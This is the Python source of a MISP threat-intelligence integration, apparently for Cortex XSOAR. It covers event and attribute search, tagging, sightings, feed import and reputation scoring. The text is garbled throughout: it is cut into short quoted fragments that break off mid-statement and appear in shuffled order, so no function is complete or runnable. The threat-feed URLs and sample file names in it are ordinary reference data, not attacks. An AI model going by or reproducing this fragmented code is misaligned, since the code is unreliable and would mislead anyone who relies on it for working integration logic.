MISPEvent() misp_new_event.load(response) add_event_response", "url_parse.netloc else None url_obj.append({'fragment': url_parse.fragment}) if url_parse.fragment else None url_obj.append({'port':", "object to MISP and returning outputs Args: obj: object to", "obj) except ValueError as e: raise DemistoException( f'`attribute` parameter could", "includes all the events that were detected as related to", "provide a valid value for the Source Reliability parameter\") attributes_limit", "The tag that was scored as malicious or suspicious. event_name", "list can be full of in unnecessary data, we want", "hash of format MD5, SHA-1 or SHA-256') if dbot_type ==", "the events that include the indicator Please see an example", "index, uri in enumerate(uri_list, 1): response = requests.get(f'{url}/{uri}.json', verify=use_ssl, headers=headers,", "= re.search(regex_not, demisto_query, re.MULTILINE) is_complex_and_operator = is_misp_complex_search_helper(match_and, misp_query_params, 'and_parameters') is_complex_or_operator", "'format': 'misp', 'input': 'network'}, 'Botvrij.eu': {'name': 'The Botvrij.eu Data', 'url':", "None) formatted_attributes = replace_keys_from_misp_to_context_data(attributes) return formatted_attributes def build_galaxy_output(given_object): \"\"\"given_object is", "'Category', 'comment': 'Comment', 'uuid': 'UUID', 'sharing_group_id': 'SharingGroupID', 'timestamp': 'LastChanged', 'to_ids':", "raw_response=response ) # event's uuid response = PYMISP.search(uuid=uuid) human_readable =", "for sighting in attribute.get('Sighting')] if attribute.get('Sighting') else None attribute_highlights.append({ 'Attribute", "tag ids. If there is an id that exists in", "\"\"\" Extracting errors raised by PYMISP into readable response, for", "event['Object'] = [ { 'name': event_object.get('name'), 'uuid': event_object.get('uuid'), 'description': event_object.get('description'),", "(id) which made the indicator to get that score found_related_events", "dict: \"\"\" Convert the response of event search returned from", "def limit_tag_output_to_id_and_name(attribute_dict, is_event_level): \"\"\" As tag list can be full", "CommandResults: \"\"\"Execute a MISP search over 'attributes'\"\"\" args = prepare_args_to_search('attributes')", "{'permalink': 'https://panacea.threatgrid.com/mask/samples/2e445ef5389d8b'}, {'heuristic_raw_score': 7.8385159793597}, {'heuristic_score': 96}, {'original_filename': 'juice.exe'}, {'id': '2e445ef5389d8b'}]", "\"\"\" Gets a timestamp from MISP response (1546713469) and converts", "== 'md5': return Common.File(dbot_score=dbot_score, md5=value) if hash_type == 'sha1': return", "attributes_list: return None attributes_list = sorted(attributes_list, key=lambda attribute_item: attribute_item['event_id'], reverse=True)[:attributes_limit]", "\"\"\"Adds sighting to MISP attribute \"\"\" attribute_id = demisto_args.get('id') attribute_uuid", "args_to_misp_format['tags'] = build_misp_complex_filter(args_to_misp_format['tags']) args_to_misp_format['controller'] = controller demisto.debug(f\"[MISP V3]: args for", "Union[dict, requests.Response], include_correlations=False) -> dict: \"\"\" Convert the response of", "malicious or suspicious. event_name (str): Name of the event \"\"\"", "(set): Tag ids should be recognised as suspicious reliability (DBotScoreReliability):", "'misp-add-file-object': return_results(add_file_object(args)) elif command == 'misp-add-domain-object': return_results(add_domain_object(args)) elif command ==", "= args.get('info') if args.get('info') else 'Event from XSOAR' event.date =", "DBotScoreType.FILE, 'URL': DBotScoreType.URL, 'DOMAIN': DBotScoreType.DOMAIN, 'IP': DBotScoreType.IP, 'EMAIL': DBotScoreType.EMAIL, }", "return 'ok' else: raise DemistoException('MISP has not connected.') def build_feed_url(demisto_args):", "[] for attribute in response: event = attribute.get('Event', {}) attribute_tags", "DemistoException(new_event.get('errors')) event_id = new_event.id add_attribute(event_id=event_id, internal=True, new_event=new_event, demisto_args=demisto_args) event =", "section Returns: List[Dict[str, any]]: filtered response \"\"\" return [{ 'code':", "a positive number.') response = PYMISP._prepare_request('GET', 'servers/getPyMISPVersion.json') if PYMISP._check_json_response(response): return", "will not post results to Demisto demisto_args (dict): Demisto args", "sure the API key is correct.') return_error(error) def warn(*args): \"\"\"", "analysis_arg event.info = args.get('info') if args.get('info') else 'Event from XSOAR'", "ignore try: PYMISP = ExpandedPyMISP(url=MISP_URL, key=MISP_API_KEY, ssl=VERIFY, proxies=PROXIES) except PyMISPError", "sighting.get('type') } for sighting in attribute.get('Sighting') ] def build_attributes_search_response_return_only_values(response_object: Union[dict,", "the attrubite will be added to that existing event. \"\"\"", "and response.get('errors'): raise DemistoException(f'Error in `{demisto.command()}` command: {response}') except PyMISPError:", "outputs_key_field='ID', outputs=build_events_search_response(response), raw_response=response ) def remove_tag(demisto_args: dict, is_attribute=False): \"\"\" Function", "python warnings warnings.warn = warn ''' GLOBALS/PARAMS ''' params =", "urlparse(url) url_obj = [{'url': url}] url_obj.extend({'scheme': url_parse.scheme}) if url_parse.scheme else", "in attributes] def pagination_args_validation(page, limit): if page and page <", "demisto_args.get('event_id') domain = demisto_args.get('name') obj = MISPObject('domain-ip') ips = argToList(demisto_args.get('ip'))", "if outputs_should_include_only_values: response_for_context = build_attributes_search_response_return_only_values(response) number_of_results = len(response_for_context) md =", "url object in MISP scheme Scheme described https://www.misp-project.org/objects.html#_url \"\"\" url_args", "tags). Args: value (str): The indicator value (an IP address,", "-> CommandResults: \"\"\" Execute a MISP search using the 'event'", "else: return CommandResults(readable_output=f\"No attributes found in MISP for the given", "for event_object in event.get('Object')] def event_to_human_readable(response: dict): event_highlights = []", "args_to_misp_format: args_to_misp_format['include_sightings'] = 1 if demisto_args.get('include_sightings') == 'true' else 0", "# Filter object from keys in event_args events[i] = {key:", "length, enter file hash of format MD5, SHA-1 or SHA-256')", "the Source Reliability parameter\") attributes_limit = arg_to_number(params.get('attributes_limit', 20), \"attributes_limit\", required=True)", "the number of attributes that will be written to the", "{pagination_message}\", event_outputs_to_human_readable, removeNull=True) return CommandResults( raw_response=response, readable_output=md, outputs=response_for_context, outputs_prefix=\"MISP.Event\", outputs_key_field=\"ID\"", "'include_sightings' in args_to_misp_format: args_to_misp_format['include_sightings'] = 1 if demisto_args.get('include_sightings') == 'true'", "attribute's one. Otherwise it's event's. \"\"\" uuid = demisto_args.get('uuid') tag", "sets, it will be removed from the suspicious tag ids", "event or attribute. is_attribute (bool): if the given UUID is", "dict) -> CommandResults: attribute_uuid = demisto_args.get('attribute_uuid') attribute_instance = create_updated_attribute_instance(demisto_args, attribute_uuid)", "'last' in args_to_misp_format: args_to_misp_format['publish_timestamp'] = args_to_misp_format.pop('last') if 'include_decay_score' in args_to_misp_format:", "raise DemistoException(\"page should be zero or a positive number\") if", "in given_object['Galaxy'] ] def build_object_output(event): if event.get('Object'): event['Object'] = [", "{value} is not valid\") if dbot_type == 'URL': if not", "converts it to human readable format \"\"\" return datetime.utcfromtimestamp(int(timestamp)).strftime('%Y-%m-%dT%H:%M:%SZ') if", "human_readable = f\"## MISP create event\\nNew event with ID: {event_id}", "response.get('Attribute') if not attributes_list: return None attributes_list = sorted(attributes_list, key=lambda", "'{tag}' id.\") except ValueError: raise DemistoException(f\"Tag id has to be", "isinstance(response_object, str): response_object = json.loads(json.dumps(response_object)) events = [event.get('Event') for event", "\"Related Attribute\" list and limits the tags and galaxies lists.", "== 'sha256': return Common.File(dbot_score=dbot_score, sha256=value) if dbot_type == \"IP\": return", "{event_id} has been successfully created.\\n\" return CommandResults( readable_output=human_readable, outputs_prefix='MISP.Event', outputs_key_field='ID',", "'Comment', 'uuid': 'UUID', 'sharing_group_id': 'SharingGroupID', 'timestamp': 'LastChanged', 'to_ids': 'ToIDs', 'value':", "Usually reliable') if DBotScoreReliability.is_valid_type(reliability): reliability = DBotScoreReliability.get_dbot_score_reliability_from_str(reliability) else: Exception(\"MISP V3", "created for misp to perform complex query or if no", "events_ids) return CommandResults( readable_output=human_readable, outputs_prefix='MISP.Event', outputs_key_field='ID', outputs=events_ids, ) except ValueError", "return_results(search_attributes(args)) elif command == 'misp-delete-event': return_results(delete_event(args)) elif command == 'misp-add-sighting':", "logic. Indicators of attributes and Events that: * have tags", "{args_to_misp_format}\") return args_to_misp_format def build_attributes_search_response(response: Union[dict, requests.Response], include_correlations=False) -> dict:", "or event, depends on the called function\"\"\" if given_object.get('Galaxy'): given_object['Galaxy']", "== 'true' else 0 if 'from' in args_to_misp_format: args_to_misp_format['date_from'] =", "{tag} has been successfully removed from the event {uuid}' return", "requests.Response]) -> dict: \"\"\" Convert the response of event search", "In any other case, we won't add the tag. Args:", "outputs_key_field='ID', outputs=parsed_attribute_data, ) def main(): params = demisto.params() malicious_tag_ids =", "demisto_args} # Replacing keys and values from Demisto to Misp's", "tag) in attribute_tags_ids for tag in malicious_tag_ids) if is_attribute_tag_malicious: return", "= misp_response and misp_response.get('Attribute') if is_indicator_found: outputs, score, found_tag, found_related_events", "test_extract_error. Args: error: list of responses from error section Returns:", "malicious_tag_ids, suspicious_tag_ids def is_tag_list_valid(tag_ids): \"\"\"Gets a list ot tag ids", "Tags': attribute_tags, 'Attribute Sightings': attribute_sightings, 'To IDs': attribute.get('ToIDs'), 'Timestamp': attribute.get('Timestamp'),", "\"attributes_limit\", required=True) command = demisto.command() demisto.debug(f'[MISP V3]: command is {command}')", "attribute_instance.first_seen = first_seen if last_seen: attribute_instance.last_seen = last_seen return attribute_instance", "== 'misp-add-tag-to-attribute': return_results(add_tag(demisto_args=args, is_attribute=True)) elif command == 'misp-remove-tag-from-event': return_results(remove_tag(args)) elif", "'ip_src', 'ip_dst' ] # converting args to MISP's arguments types", "if distribution else None if not new_event: response = PYMISP.search(eventid=event_id,", "+= f\"Showing page {page}\" md = tableToMarkdown( f\"MISP search-attributes returned", "CommandResults( readable_output=human_readable, outputs_prefix='MISP.Attribute', outputs_key_field='ID', outputs=build_attributes_search_response(updated_event), raw_response=updated_event ) def generic_reputation_command(demisto_args, reputation_type,", "'timestamp', 'distribution', 'proposal_email_lock', 'locked', 'publish_timestamp', 'sharing_group_id', 'disable_correlation', 'event_creator_email', 'Org', 'Orgc',", "'event_uuid': 'EventUUID', 'proposal_to_delete': 'ProposalToDelete', 'description': 'Description', 'version': 'Version', 'Object': 'Object',", "} event_id = event_id if event_id else arg_to_number(demisto_args.get('event_id'), \"event_id\") attributes_args.update({'id':", "elif command == 'misp-search-attributes': return_results(search_attributes(args)) elif command == 'misp-delete-event': return_results(delete_event(args))", "to connect to MISP, ' 'Please make sure the API", "mandatory arg att_id = attribute_id or attribute_uuid if not att_id:", "Args: obj: object to add to MISP event_id: ID of", "event's ones. Otherwise, the data is attribute's (attribute tags). \"\"\"", "malicious). * have tags which configured as suspicious will be", "'type', 'category', 'org', 'tags', 'from', 'to', 'event_id', 'uuid', 'to_ids', 'last',", "return Common.File(dbot_score=dbot_score, sha256=value) if dbot_type == \"IP\": return Common.IP(ip=value, dbot_score=dbot_score)", "in https://github.com/MISP/misp-objects args: arguments to create the generic object Returns:", "MISPEvent() event.distribution = MISP_DISTRIBUTION_TO_IDS[args.get('distribution')] threat_level_id_arg = args.get('threat_level_id') if threat_level_id_arg: event.threat_level_id", "else None attribute_highlights.append({ 'Attribute ID': attribute.get('ID'), 'Event ID': attribute.get('EventID'), 'Attribute", "if demisto_args.get('include_sightings') == 'true' else 0 if 'include_correlations' in args_to_misp_format:", "in obj.ObjectReference: response = PYMISP.add_object_reference(ref) for attribute in response.get('Object', {}).get('Attribute',", "'Tag_ID': tag.get('ID')}) return related_events def get_event_id(data_dict): if data_dict.get('EventID'): return data_dict.get('EventID')", "event \"\"\" related_events = [] object_tags_list = object_data_dict.get('Tag', []) for", "raw_response=misp_response, outputs=all_attributes, outputs_prefix='MISP.Attribute', outputs_key_field='ID', readable_output=readable_output) else: dbot = Common.DBotScore(indicator=value, indicator_type=indicator_type,", "\"\" for event in events_to_human_readable: # removing those fields as", "found_tag, event_name)) return remove_duplicated_related_events(scored_events) def remove_duplicated_related_events(related_events): related_events_no_duplicates = [] for", "attributes are excluded from search-events output as the information is", "ip_object_args) ips = argToList(demisto_args.get('ip')) for ip in ips: misp_attributes_args.append({'ip': ip})", "exists in both sets, it will be removed from the", "return Common.EMAIL(address=value, dbot_score=dbot_score) if dbot_type == \"URL\": return Common.URL(url=value, dbot_score=dbot_score)", "'network'} } THREAT_LEVELS_TO_ID = { 'High': 1, 'Medium': 2, 'Low':", "values from Demisto to Misp's keys if 'type' in args_to_misp_format:", "it is an event's tag. Otherwise (if it is set", "attribute.get('ToIDs'), 'Timestamp': attribute.get('Timestamp'), 'Event Info': event.get('Info'), 'Event Organization ID': event.get('OrganizationID'),", "# get rid of this useless list event = attribute.get('Event')", "like to add to tag_set_ids all the tags (event ones", "'decay_score', 'Object', 'Feed', ] ATTRIBUTE_FIELDS = [ 'id', 'event_id', 'object_id',", "function can be called as an independence command or as", "\"\"\" This function searches for the given attribute value in", "malicious_tag_ids (set): Tag ids should be recognised as malicious. suspicious_tag_ids", "suspicious will be scored 2 (i.e suspicious). * don't have", "return [tag.get('Name') for tag in event_tags] def event_to_human_readable_galaxy_list(event): event_galaxies =", "parsed_attribute_data = replace_keys_from_misp_to_context_data(attribute) return CommandResults( readable_output=human_readable, outputs_prefix='MISP.Attribute', outputs_key_field='ID', outputs=parsed_attribute_data, )", "hash). dbot_type (str): Indicator type (file, url, domain, email or", "(dict): Event or attribute dict which includes tags list. found_tag", "values that match the search query when user set the", "'meta-category': 'MetaCategory', 'decay_score': 'DecayScore', 'first_seen': 'first_seen', 'last_seen': 'last_seen', 'provider': 'Provider',", "{ 'CIRCL': {'name': 'CIRCL OSINT Feed', 'url': 'https://www.circl.lu/doc/misp/feed-osint', 'format': 'misp',", "feed format must be MISP. \"\"\" headers = {'Accept': 'application/json'}", "def search_attributes(demisto_args: dict) -> CommandResults: \"\"\"Execute a MISP search over", ") else: return CommandResults(readable_output=f\"No events found in MISP for the", "\"limit\", required=True) pagination_args_validation(page, limit) response = PYMISP.search(**args) if response: response_for_context", "demisto_args.get('attribute_uuid') attribute_instance = create_updated_attribute_instance(demisto_args, attribute_uuid) attribute_instance_response = PYMISP.update_attribute(attribute=attribute_instance, attribute_id=attribute_uuid) if", "return Common.URL(url=value, dbot_score=dbot_score) def build_misp_complex_filter(demisto_query: str): \"\"\" Examples are available", "= demisto_args.get('distribution') category = demisto_args.get('category') comment = demisto_args.get('comment') value =", "is_tag_list_valid(tag_ids): \"\"\"Gets a list ot tag ids (each one is", "object_data_dict (dict): Event or attribute dict which includes tags list.", "demisto_args.get( 'include_feed_correlations') == 'true' else 0 args_to_misp_format.pop('include_feed_correlations') if 'limit' not", "number\") def attribute_response_to_markdown_table(response: dict): attribute_highlights = [] for attribute in", "as suspicious will be scored 2 (i.e suspicious). * don't", "'initial': 0, 'ongoing': 1, 'completed': 2 } MISP_DISTRIBUTION_TO_IDS = {", "events that include the indicator Please see an example for", "args_to_misp_format['date_from'] = args_to_misp_format.pop('from') if 'to' in args_to_misp_format: args_to_misp_format['date_to'] = args_to_misp_format.pop('to')", "return datetime.utcfromtimestamp(int(timestamp)).strftime('%Y-%m-%dT%H:%M:%SZ') if timestamp else \"\" def replace_keys_from_misp_to_context_data(obj_to_build: Union[dict, list,", "lists. Eventually, the outputs will be a list of attributes", "{event_id} has been deleted' return CommandResults(readable_output=human_readable, raw_response=response) def add_tag(demisto_args: dict,", "None, internal: bool = False, demisto_args: dict = {}, new_event:", "from url and publishing them to MISP urls with feeds", "json.loads(json.dumps(response_object)) attributes = response_object.get('Attribute') return [attribute.get('value') for attribute in attributes]", "[]) for tag in tags_list: is_event_tag = tag.get('inherited', 0) #", "related_events_no_duplicates.append(related_events[i]) return related_events_no_duplicates def search_events_with_scored_tag(object_data_dict, found_tag, event_name): \"\"\" By the", "into a list, please see GenericObjectGenerator Class in Pymisp. Args:", "def misp_convert_timestamp_to_date_string(timestamp: Union[str, int]) -> str: \"\"\" Gets a timestamp", "to MISP, ' 'Please make sure the API key is", "object_tags_list = object_data_dict.get('Tag', []) for tag in object_tags_list: if tag.get('ID')", "if the given UUID is an attribute's one. Otherwise it's", "md = tableToMarkdown(f\"MISP search-attributes returned {number_of_results} attributes\", response_for_context[:number_of_results], [\"Value\"]) else:", "has been successfully added to attribute {uuid}' return CommandResults( readable_output=human_readable,", "{response}') for ref in obj.ObjectReference: response = PYMISP.add_object_reference(ref) for attribute", "= first_seen if last_seen: attribute_instance.last_seen = last_seen return attribute_instance def", "{tag} has been successfully removed from the attribute {uuid}' return", "set(malicious_tag_ids) & set(suspicious_tag_ids) suspicious_tag_ids = {tag_id for tag_id in suspicious_tag_ids", "'TemplateVersion', 'template_uuid': 'TemplateUUID', 'meta-category': 'MetaCategory', 'decay_score': 'DecayScore', 'first_seen': 'first_seen', 'last_seen':", "'network'}, 'Botvrij.eu': {'name': 'The Botvrij.eu Data', 'url': 'http://www.botvrij.eu/data/feed-osint', 'format': 'misp',", "Create a new MISP event object and set the event's", "'Locked', 'publish_timestamp': 'PublishTimestamp', 'event_creator_email': 'EventCreatorEmail', 'name': 'Name', 'analysis': 'Analysis', 'threat_level_id':", "url_obj) return add_object(event_id, g_object) def add_generic_object_command(demisto_args: dict): event_id = demisto_args.get('event_id')", "to the context output format. please note: attributes are excluded", "internal: bool = False, demisto_args: dict = {}, new_event: MISPEvent", "\"Threat Level ID\": event.get('threat_level_id'), \"Event ID\": event.get(\"id\")} if event.get('Tag'): limit_tag_output,", "event_id = demisto_args.get('event_id') file_path = demisto.getFilePath(entry_id).get('path') obj = FileObject(file_path) return", "response of attribute search returned from MISP to the context", "args_to_misp_format: args_to_misp_format['date_to'] = args_to_misp_format.pop('to') if 'event_id' in args_to_misp_format: args_to_misp_format['eventid'] =", "all the attributes which match the required indicator value, this", "dict) -> List[dict]: \"\"\" Converts args dict into a list,", "list of responses from error section Returns: List[Dict[str, any]]: filtered", "look like: [{'analysis_submitted_at': '2018-06-15T06:40:27'}, {'threat_score': {value=95, to_ids=False}}, {'permalink': 'https://panacea.threatgrid.com/mask/samples/2e445ef5389d8b'}, {'heuristic_raw_score':", "readable response, for more information and examples please see UT:", "tableToMarkdown(f\"MISP search-attributes returned {number_of_results} attributes\", response_for_context[:number_of_results], [\"Value\"]) else: response_for_context =", "category = demisto_args.get('category') comment = demisto_args.get('comment') value = demisto_args.get('value') first_seen", "existing event. \"\"\" attributes_args = { 'id': demisto_args.get('event_id'), # misp", "build_galaxy_output(events[i]) build_tag_output(events[i]) build_object_output(events[i]) events[i]['timestamp'] = misp_convert_timestamp_to_date_string(events[i].get('timestamp')) events[i]['publish_timestamp'] = misp_convert_timestamp_to_date_string(events[i].get('publish_timestamp')) formatted_events", "command: {response}') except PyMISPError: raise DemistoException(\"Removing the required tag was", "tag_name = tag.get('Name') related_events.append({'Event_ID': event_id, 'Event_Name': event_name, 'Tag_Name': tag_name, 'Tag_ID':", "be found. Returns: list includes all the events that were", "[event_object.get('ID') for event_object in event.get('Object')] def event_to_human_readable(response: dict): event_highlights =", "raise DemistoException('MISP has not connected.') def build_feed_url(demisto_args): url = demisto_args.get('feed')", "CommandResults( raw_response=response, readable_output=md, outputs=response_for_context, outputs_prefix=\"MISP.Attribute\", outputs_key_field=\"ID\" ) else: return CommandResults(readable_output=f\"No", "'CIRCL OSINT Feed', 'url': 'https://www.circl.lu/doc/misp/feed-osint', 'format': 'misp', 'input': 'network'}, 'Botvrij.eu':", "If the data is event's (is_event_level = true) we would", "MISP for the given filters: {args}\") def build_events_search_response(response: Union[dict, requests.Response])", "been successfully added to attribute {att_id}' return CommandResults(readable_output=human_readable) raise DemistoException(f\"An", "event) found_related_events[event.get(\"id\")] = {\"Event Name\": event.get(\"info\"), \"Threat Level ID\": event.get('threat_level_id'),", "keys in Returns: Union[dict, list, str]: same object type that", "list event = attribute.get('Event') convert_timestamp_to_readable(attribute, event) found_related_events[event.get(\"id\")] = {\"Event Name\":", "# add the tag except PyMISPError: raise DemistoException(\"Adding the required", "this function was called from create event command, the attrubite", "is part of the event scope). If the data is", "attribute (True) or event (False). \"\"\" uuid = demisto_args.get('uuid') tag", "and Name fields. In addition, returns set of the found", "to the tag. \"\"\" scored_events = [] if found_tag: for", "MISP event ID {event_id}' return CommandResults( readable_output=human_readable, outputs_prefix='MISP.Event', outputs_key_field='ID', outputs=formatted_response,", "'url': 'URL', 'event_uuids': 'EventUUIDS', } MISP_ANALYSIS_TO_IDS = { 'initial': 0,", "added to attribute {uuid}' return CommandResults( readable_output=human_readable, outputs_prefix='MISP.Attribute', outputs_key_field='ID', outputs=build_attributes_search_response(response),", "event.get('OwnerOrganization.ID'), 'Event Distribution': event.get('Distribution'), 'Event UUID': event.get('UUID'), }) return event_highlights", "] def build_tag_output(given_object): \"\"\"given_object is attribute or event, depends on", "'ShadowAttribute': 'ShadowAttribute', 'disable_correlation': 'DisableCorrelation', 'distribution': 'Distribution', 'type': 'Type', 'id': 'ID',", "urlparse import urllib3 from pymisp import ExpandedPyMISP, PyMISPError, MISPObject, MISPSighting,", "'DOMAIN': DBotScoreType.DOMAIN, 'IP': DBotScoreType.IP, 'EMAIL': DBotScoreType.EMAIL, } DOMAIN_REGEX = (", "= f'Tag {tag} has been successfully added to attribute {uuid}'", "url_args = [ 'text', 'last_seen', 'first_seen' ] event_id = demisto_args.get('event_id')", "'Orgc', 'RelatedEvent', 'Galaxy', 'Tag', 'decay_score', 'Object', 'Feed', ] ATTRIBUTE_FIELDS =", "Distribution': event.get('Distribution'), 'Event UUID': event.get('UUID') }) return attribute_highlights def search_attributes(demisto_args:", "example: https://www.misp-project.org/feeds/ feed format must be MISP. \"\"\" headers =", "event.get('OrganizationID'), 'Event Orgc ID': event.get('OwnerOrganization.ID'), 'Event Distribution': event.get('Distribution'), 'Event UUID':", "is set to 1 it says that it is an", "(bool): Whether the attribute_dict was received from an event object,", "if given_object.get('Tag'): given_object['Tag'] = [ {'Name': tag.get('name'), 'is_galaxy': tag.get('is_galaxy') }", "the context Returns: CommandResults includes all the indicator results. \"\"\"", "return Common.DBotScore.SUSPICIOUS, found_tag # no tag was found if is_attribute_in_event_with_bad_threat_level:", "url_obj.append( {'credential': (url_parse.username, url_parse.password)}) if url_parse.username and url_parse.password else None", "response in test_data/reputation_command_response.json Please see an example for a parsed", "is one of it's tags. If so, the event will", "'first_seen' ] event_id = demisto_args.get('event_id') url = demisto_args.get('url') url_parse =", "PYMISP.search(value=value, controller='attributes', include_context=True, include_correlations=True, include_event_tags=True, enforce_warninglist=True, include_decay_score=True, includeSightings=True) indicator_type =", "import * logging.getLogger(\"pymisp\").setLevel(logging.CRITICAL) def handle_connection_errors(error): if \"SSLError\" in error: return_error('Unable", "misp_response and misp_response.get('Attribute') if is_indicator_found: outputs, score, found_tag, found_related_events =", "found if is_attribute_in_event_with_bad_threat_level: return Common.DBotScore.BAD, None return Common.DBotScore.NONE, None def", "attribute tags ones as it is part of the event", "'object_id', 'object_relation', 'category', 'type', 'to_ids', 'uuid', 'timestamp', 'distribution', 'sharing_group_id', 'comment',", "recognised as malicious. suspicious_tag_ids (set): Tag ids should be recognised", "return_results( generic_reputation_command(args, 'ip', 'IP', malicious_tag_ids, suspicious_tag_ids, reliability, attributes_limit)) elif command", "if internal: return value = attributes_args.get('value') updated_event = PYMISP.search(eventid=new_event.id, controller='attributes',", "and misp_response.get('Attribute') if is_indicator_found: outputs, score, found_tag, found_related_events = parse_response_reputation_command(misp_response,", "if dbot_type == 'DOMAIN': if not re.compile(DOMAIN_REGEX, regexFlags).match(value): raise DemistoException(f\"Error:", "event.get('ID'), 'Event Tags': event_tags, 'Event Galaxies': event_galaxies, 'Event Objects': event_objects,", "len(response_for_context) == limit: pagination_message += f\"Showing page {page} out others", "if the given UUID belongs to an attribute (True) or", "(both malicious and suspicious) are stronger than events' tags. \"\"\"", "'file': return_results( generic_reputation_command(args, 'file', 'FILE', malicious_tag_ids, suspicious_tag_ids, reliability, attributes_limit)) elif", "if demisto_args.get('include_decay_score') == 'true' else 0 if 'include_sightings' in args_to_misp_format:", "Data', 'url': 'http://www.botvrij.eu/data/feed-osint', 'format': 'misp', 'input': 'network'} } THREAT_LEVELS_TO_ID =", "URL are correct\" in error: return_error('Unable to connect to MISP,", ") def main(): params = demisto.params() malicious_tag_ids = argToList(params.get('malicious_tag_ids')) suspicious_tag_ids", "attribute.get('Sighting')] if attribute.get('Sighting') else None attribute_highlights.append({ 'Attribute ID': attribute.get('ID'), 'Event", "in obj_to_build] if isinstance(obj_to_build, dict): return { (MISP_ENTITIES_TO_CONTEXT_DATA[key] if key", "attributes). score: the indicator score found_tag: the tag (id) which", "= get_event_id(object_data_dict) tag_name = tag.get('Name') related_events.append({'Event_ID': event_id, 'Event_Name': event_name, 'Tag_Name':", "for event in found_related_events.values(): if event['Threat Level ID'] in bad_threat_level_ids:", "in MISP_ANALYSIS_TO_IDS else analysis_arg event.info = args.get('info') if args.get('info') else", "outputs=formatted_response, ) def add_file_object(demisto_args: dict): entry_id = demisto_args.get('entry_id') event_id =", "= value if comment: attribute_instance.comment = comment if first_seen: attribute_instance.first_seen", "= get_events_related_to_scored_tag(all_attributes, found_tag) attribute_highlights = reputation_command_to_human_readable(all_attributes, score, events_to_human_readable) readable_output =", "suspicious_tag_ids, is_attribute_in_event_with_bad_threat_level): \"\"\" Calculates the indicator score by following logic.", "'comment': 'Comment', 'uuid': 'UUID', 'sharing_group_id': 'SharingGroupID', 'timestamp': 'LastChanged', 'to_ids': 'ToIDs',", "list and limits the tags and galaxies lists. Eventually, the", "\"\"\" reputation_value_validation(value, dbot_type) misp_response = PYMISP.search(value=value, controller='attributes', include_context=True, include_correlations=True, include_event_tags=True,", "as malicious or suspicious. If no tag was found, then", "def event_to_human_readable_object_list(event): event_objects = event.get('Object', []) if event_objects: return [event_object.get('ID')", "-> List[dict]: \"\"\" Converts args dict into a list, please", "url_parse.netloc}) if url_parse.netloc else None url_obj.append({'fragment': url_parse.fragment}) if url_parse.fragment else", "make sure the UUID exists.\") if is_attribute: response = PYMISP.search(uuid=uuid,", "configured as suspicious nor malicious will be scored by their", "= get_dbot_indicator(dbot_type, dbot, value) all_attributes = outputs.get('Attribute') events_to_human_readable = get_events_related_to_scored_tag(all_attributes,", "event_galaxies = event.get('Galaxy', []) if event_galaxies: return [galaxy.get('Name') for galaxy", "args_to_misp_format: args_to_misp_format['include_correlations'] = 1 if demisto_args.get('include_correlations') == 'true' else 0", "sort the attributes list by the event ids as the", "response['Object']['timestamp'] = misp_convert_timestamp_to_date_string(response.get('Object', {}).get('timestamp')) formatted_response = replace_keys_from_misp_to_context_data(response) formatted_response.update({\"ID\": event_id}) human_readable", "your MISP server url is correct.') if \"Please make sure", "was failed. Please make sure the UUID exists.\") if is_attribute:", "new_event.get('errors'): raise DemistoException(new_event.get('errors')) event_id = new_event.id add_attribute(event_id=event_id, internal=True, new_event=new_event, demisto_args=demisto_args)", "feed. error: {e}') def add_object(event_id: str, obj: MISPObject): \"\"\"Sending object", "from pymisp import ExpandedPyMISP, PyMISPError, MISPObject, MISPSighting, MISPEvent, MISPAttribute from", "update attribute\\nAttribute: {attribute_uuid} was updated.\\n\" attribute = attribute_instance_response.get('Attribute') convert_timestamp_to_readable(attribute, None)", "response_for_context = build_attributes_search_response_return_only_values(response) number_of_results = len(response_for_context) md = tableToMarkdown(f\"MISP search-attributes", "elif command == 'misp-remove-tag-from-event': return_results(remove_tag(args)) elif command == 'misp-remove-tag-from-attribute': return_results(remove_tag(demisto_args=args,", "stronger than events' tags. \"\"\" found_tag = None is_attribute_tag_malicious =", "and returning outputs Args: obj: object to add to MISP", "valid\") if dbot_type == 'EMAIL': if not re.compile(emailRegex, regexFlags).match(value): raise", "add_event_response.get('Event') if event_object and 'id' in event_object: events_ids.append({'ID': event_object['id']}) if", "response_object = copy.deepcopy(response) if include_correlations: # return full related attributes", "made the indicator to get that score found_related_events (dict): contains", "and event tags). Args: value (str): The indicator value (an", "url_obj.append({'port': url_parse.port}) if url_parse.port else None url_obj.append( {'credential': (url_parse.username, url_parse.password)})", "check it once again\") new_event = response[0] # response[0] is", "== \"URL\": return Common.URL(url=value, dbot_score=dbot_score) def build_misp_complex_filter(demisto_query: str): \"\"\" Examples", "= {}, new_event: MISPEvent = None): \"\"\"Adding attribute to a", "json.loads(json.dumps(response_object)) events = [event.get('Event') for event in response_object] for i", "all the events that were detected as related to the", "== 'misp-add-attribute': return_results(add_attribute(demisto_args=args)) elif command == 'misp-search-events': return_results(search_events(args)) elif command", "prepare_attributes_array_to_context_data(attributes_list) attribute_in_event_with_bad_threat_level = found_event_with_bad_threat_level_id(found_related_events) score, found_tag = get_score(attribute_tags_ids=attributes_tag_ids, event_tags_ids=event_tag_ids, malicious_tag_ids=malicious_tag_ids,", "domain, url or file hash). dbot_type (str): Indicator type (file,", "match_operator.group(2).split(',') is_complex_search = True return is_complex_search def prepare_args_to_search(controller): demisto_args =", "the newer ones. Returns: response (dict): The parsed outputs to", "response[0] # response[0] is MISP event new_event.add_attribute(**attributes_args) PYMISP.update_event(event=new_event) if internal:", "formatted_response = replace_keys_from_misp_to_context_data({'Attribute': attributes_list}) return formatted_response, score, found_tag, found_related_events def", "'OrganizationID', 'Org': 'Organization', 'Orgc': 'OwnerOrganization', 'orgc_uuid': 'OwnerOrganization.UUID', 'orgc_id': 'OwnerOrganization.ID', 'orgc_name':", "not (MISP_API_KEY := params.get('credentials', {}).get('password')): raise DemistoException('Missing API Key. Fill", "attributes\\n {pagination_message}\", attribute_highlights, removeNull=True) return CommandResults( raw_response=response, readable_output=md, outputs=response_for_context, outputs_prefix=\"MISP.Attribute\",", "should be zero or a positive number\") def attribute_response_to_markdown_table(response: dict):", "attribute.get('ID'), 'Event ID': attribute.get('EventID'), 'Attribute Category': attribute.get('Category'), 'Attribute Type': attribute.get('Type'),", "attribute_instance = create_updated_attribute_instance(demisto_args, attribute_uuid) attribute_instance_response = PYMISP.update_attribute(attribute=attribute_instance, attribute_id=attribute_uuid) if isinstance(attribute_instance_response,", "if attribute.get('Sighting') else None attribute_highlights.append({ 'Attribute ID': attribute.get('ID'), 'Event ID':", "= url[:-1] if url.endswith('/') else url if 